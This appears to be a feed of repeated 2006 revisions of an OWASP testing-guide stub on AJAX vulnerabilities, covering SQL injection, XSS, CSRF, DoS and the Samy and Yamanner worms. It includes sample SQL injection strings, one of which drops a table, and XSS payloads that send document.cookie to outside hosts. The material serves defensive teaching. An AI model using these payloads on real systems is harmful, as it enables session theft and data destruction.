Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Testing Tools ==&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Ghost Train'''&amp;lt;br&amp;gt;Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Squish/Web (froglogic)'''&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.froglogic.com/squish Squish] is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.&lt;br /&gt;
&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11899</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11899"/>
				<updated>2006-11-06T18:59:49Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11898</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11898"/>
				<updated>2006-11-06T18:50:30Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
